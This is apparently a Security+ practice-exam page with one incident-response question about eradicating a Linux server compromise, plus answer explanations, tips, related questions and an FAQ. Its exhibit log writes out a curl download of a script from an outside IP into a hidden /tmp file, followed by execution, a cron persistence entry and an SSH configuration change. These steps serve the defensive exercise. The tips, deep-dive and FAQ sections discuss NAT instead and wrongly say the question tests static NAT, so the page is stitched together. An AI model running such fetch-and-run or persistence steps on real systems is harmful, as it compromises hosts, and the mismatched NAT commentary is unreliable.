Question 1hardmultiple choice
Full question →hardmultiple choiceObjective-mapped
Exhibit
Linux server audit summary: APP-SRV14 10:22:13 sshd: Accepted publickey for appsvc from 10.5.14.22 10:23:01 sudo: appsvc ran /usr/bin/curl https://198.51.100.44/p.sh -o /tmp/.x 10:23:09 sudo: appsvc ran chmod +x /tmp/.x 10:23:11 /tmp/.x created /etc/cron.d/.maint 10:23:20 /etc/ssh/sshd_config modified to allow PasswordAuthentication yes 10:24:02 outbound traffic blocked by segmentation rule IR note: host is isolated, disk image has not been taken yet, and the business wants the service restored today
Based on the exhibit, what is the best eradication decision for the server compromise?
Answer choices
Why each option matters
Good practice is not just finding the correct option. The wrong answers often show the exact trap the exam wants you to fall into.
A
Distractor review
Restart sshd and monitor the system for another login attempt.
Restarting the service does not remove the malicious script, cron persistence, or configuration tampering already shown in the logs.
B
Distractor review
Manually delete the cron entry and reverse the SSH change on the live server.
Manual cleanup can miss hidden persistence or tampered binaries. It also risks contaminating evidence before proper forensics are complete.
C
Best answer
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
The server shows multiple signs of compromise: unauthorized key-based access, script download, cron persistence, and SSH configuration tampering. Those indicators make simple cleanup too risky. A rebuild from a trusted image is the most reliable eradication step, especially once the host is isolated. Evidence should be preserved first, then the service should be restored from validated data and a hardened baseline.
D
Distractor review
Increase the SIEM retention period and keep the current server online.
Longer log retention improves visibility, but it does not remove the compromise or restore trust in the host.
Common exam trap
Common exam trap: NAT rules depend on direction and matching traffic
NAT is not only about the public address. The inside/outside interface roles and the ACL or rule that matches traffic are just as important.
Technical deep dive
How to think about this question
NAT questions usually test address translation, overload/PAT behaviour, static mappings and whether the right traffic is being translated. Read the interface direction and address terms carefully.
KKey Concepts to Remember
- Static NAT maps one inside address to one outside address.
- PAT allows many inside hosts to share one public address using ports.
- Inside local and inside global describe the private and translated addresses.
- NAT ACLs identify traffic for translation, not always security filtering.
TExam Day Tips
- Identify inside and outside interfaces first.
- Check whether the scenario needs static NAT, dynamic NAT or PAT.
- Do not confuse NAT matching ACLs with normal packet-filtering intent.
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More questions from this exam
Keep practising from the same exam bank, or move into a focused topic page if this question exposed a weak area.
Question 1
A laptop is suspected of being used in a malware incident. It is still powered on and connected to Wi-Fi. What should the responder do before shutting it down?
Question 2
An employee reports a ransomware note on a file server. The server is still powered on, shares are still being accessed, and management wants service restored as quickly as possible. What should the incident response team do first?
Question 3
An employee reports a ransomware note on a finance laptop. The laptop is still powered on, connected to Wi-Fi, and the user says they were just working in a spreadsheet. Management wants the fastest safe response that also preserves evidence. What should the responder do first?
Question 4
You are handed a company laptop suspected in an insider theft case. Legal says the evidence may be needed in court. Which action best preserves admissibility?
Question 5
A developer wants to reduce the risk of SQL injection in a new customer search form. Which two changes are the best mitigations? Select two.
Question 6
A branch office uses a flat LAN, and a compromise on one user workstation could spread quickly to finance systems. Management wants finance workstations isolated from general users, but finance staff still need access to a central finance application and network printer. What is the best design change?
FAQ
Questions learners often ask
What does this SY0-701 question test?
Static NAT maps one inside address to one outside address.
What is the correct answer to this question?
The correct answer is: Rebuild the server from a trusted image and restore only known-good data after evidence is preserved. — The best eradication decision is to rebuild the server from a trusted image and restore only known-good data after evidence is preserved. The exhibit shows multiple persistence and configuration changes, not just a single malicious file. That means the integrity of the host is questionable, and manual cleanup is unreliable. In security operations, reimaging is often the safest way to eliminate hidden compromise on a critical server. Why others are wrong: Restarting a service or deleting one cron entry does not address the full compromise. The attacker changed SSH settings and established persistence, so the risk remains even if one artifact disappears. Increasing log retention is useful for investigation, but it is not an eradication method. The environment needs a trusted rebuild, not cosmetic cleanup.
What should I do if I get this SY0-701 question wrong?
Then try more questions from the same exam bank and focus on understanding why the wrong options are tempting.
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